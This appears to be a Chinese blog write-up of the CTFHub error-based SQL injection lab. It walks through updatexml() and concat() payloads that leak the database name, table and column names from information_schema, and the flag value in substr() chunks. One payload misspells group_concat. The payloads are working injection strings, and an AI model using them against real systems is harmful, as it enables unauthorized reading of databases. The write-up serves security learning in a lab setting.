目录
欢迎各位师傅以kill -9 的威力对文章进行检查,Zeus会认真分析听取各位师傅的留言。
1. 报错注入
在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。
2. 注入流程
2.1 初始界面
2.2 判断注入类型
具体图和判断注入类型请查看CTFHub - 字符型注入文章。
通道:CTFHub - 字符型注入_netsecurity_Zeus的博客-CSDN博客
根据报错信息回显内容,可以看到报错信息内并未带有1 ,所以此处是 数字型注入。
细说:第一个和第三个 ' 是数据库自带的符号,中间被扩住的是输入的内容,报错内容只是把单引号 ' 进行扩住,说明 ' 前的内容都没有问题,所以是数字型注入。
闭合方式:在报错信息中,将输入的内容 1' 不看,剩下的 ' 为此数据库的闭合方式。
2.3 获取数据库 库名称
concat(X,X,X) --- 链接合并字符串,存在三个参数。该命令不会对输入文件进行任何修改或排序,只会简单地将它们按照指定的顺序连接在一起。
updatexml --- 报错注入里其中一种方法,存在三个参数。
【~】 ---十六进制--> 【0x7e】,此处也可以用别的十六进制数,最好使用符号,避免和数据库名称搞混。
1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) # ~ ---十六进制---> 0x7e
2.4 判断数据表 表名称
正常流程来获取表名称,因为报错信息只能一行一行进行回显,所以此处发现回显内容为:不止一行表。所以需要让报错信息一行一行进行回显。
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables),0x7e),1) #
上面的命令没有加限制条件,各位大佬看到这一步,可以尝试下面的命令
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1) #
统计该数据库内共有多少张表。
count(*) --- SQL查询语句中的聚合函数,用于计算指定表中的数量,不考虑具体的列值,只关注行数。
可以看到该数据库中一共有161 张表,数量之多,难以想象。1 and updatexml(1,concat(0x7e,(select count(*) from information_schema.tables),0x7e),1) #
此处,尝试了一下能不能一次性将表全部回显。结果是不能的,回显得长度有限。
concat(0x7e, ,0x7e) --- 回显出的信息应该是【~内容~】。
如下图,回显出的信息右部分并没有【~】符号。所以肯定是长度受限制了。那我们就需要一张一张进行回显。
1 and updatexml(1,concat(0x7e,(select group_coucat(table_name) from information_schema.tables),0x7e),1) #
输出第一张表
limit X,Y --- X:偏移量 Y:行数
注:偏移量X是从0 开始计算的。
例:limit 20,10 --- 获取第21 到30 的记录。
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 0,1),0x7e),1) #
输出第二张表
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 1,1),0x7e),1) #
输出flag 表,此处表太多了,我们已知flag 在倒数第二张,节省时间就直接获取了。
如果在真实环境里,可能要一张一张获取了。目前小白我不知道有没有其他快捷办法。
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 159,1),0x7e),1) #
2.5 判断数据列 列名称
1 and updatexml (1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag'),0x7e),1) #
2.6 获取数据
1 and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1) #
获取该数据的长度。
该数据一共有32 位。
length() --- 常用于获取字符串的长度,用于验证字符串的有效性,计算字符个数以及进行字符串比较等操作。
1 and updatexml(1,concat(0x7e,(select length(flag) from flag),0x7e),1) #
因为无法一次性将数据全部回显,所以需要截取位数,分步获取。
将两次的数据拼凑在一起,就是整个flag 的内容。
substr(string,start,length)string --- 提取字符串的源字符串。start --- 子字符串的起始位置,它可以是一个正整数或负整数。对于正整数,表示从左向右的偏移量,其中第一个字符的位置为1;对于负整数,表示从右向左的偏移量,其中最后一个字符的位置为-1。length --- 提取的子字符串的长度,是一个可选参数。如果指定了长度,将从起始位置开始提取指定长度的子字符串;如果未指定长度,则将提取从起始位置到字符串末尾的所有字符。1 and updatexml(1,concat(0x7e,(select substr(flag,1,16) from flag),0x7e),1) # 1 and updatexml(1,concat(0x7e,(select substr(flag,17,32) from flag),0x7e),1) #